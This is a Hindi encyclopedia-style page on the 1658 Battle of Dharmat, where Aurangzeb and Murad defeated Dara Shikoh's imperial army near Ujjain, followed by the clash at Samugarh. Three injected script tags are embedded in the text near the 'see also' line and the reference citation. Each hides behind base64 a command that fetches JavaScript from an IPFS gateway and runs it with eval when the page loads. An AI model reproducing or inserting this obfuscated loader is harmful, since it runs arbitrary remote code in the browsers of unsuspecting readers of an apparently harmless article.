धरमत का युद्ध

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
  • धरमत का युद्ध 15 अप्रैल, 1658 ई. को लड़ा गया था।

15 अप्रैल, 1658 को जब शाहजहाँ बीमार था, तब इस स्थान पर शाही सेना, जिसका नेतृत्व दारा के साथ राजा जसवंतसिंह एवं कासिम अली कर रहे थे और औरंगजेब, जिसके साथ मुराद था, के मध्य युद्ध हुआ।

  • यह युद्ध उज्जैन से 14 मील की दूरी पर हुआ था।
  • धरमत के युद्ध में एक ओर से बीमार मुग़ल सम्राट शाहजहाँ का पुत्र दारा शिकोह अपने पिता का पक्ष लेते हुए, राजा जसवन्त सिंह तथा कासिम अली की फ़ौजों को साथ लेकर लड़ रहा था।
  • वहीं दूसरी ओर से विद्रोही औरंगज़ेब तथा मुराद की फ़ौजों ने भाग लिया।
  • इस युद्ध में शाही फ़ौज की बुरी तरह से हार हुई, और उसे मुँह की खाकर पराजय का सामना करना पड़ा।
  • औरंगज़ेब ने विजयी होकर दिल्ली की ओर तेज़ी से प्रयाण किया।
  • वह चम्बल नदी पार करके आगरा से पूर्व में आठ मील की दूरी पर सामूगढ़ पहुँचा।
  • सामूगढ़ में दारा शिकोह के नेतृत्व में औरंगज़ेब की शाही फ़ौज से पुन: मुठभेड़ हुई।
  • इस बार भी दारा शिकोह पराजित हुआ और वह युद्ध क्षेत्र से भाग खड़ा हुआ।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इन्हें भी देखें: धरमत<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

भट्टाचार्य, सच्चिदानन्द भारतीय इतिहास कोश, द्वितीय संस्करण-1989 (हिन्दी), भारत डिस्कवरी पुस्तकालय: उत्तर प्रदेश हिन्दी संस्थान, 215।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख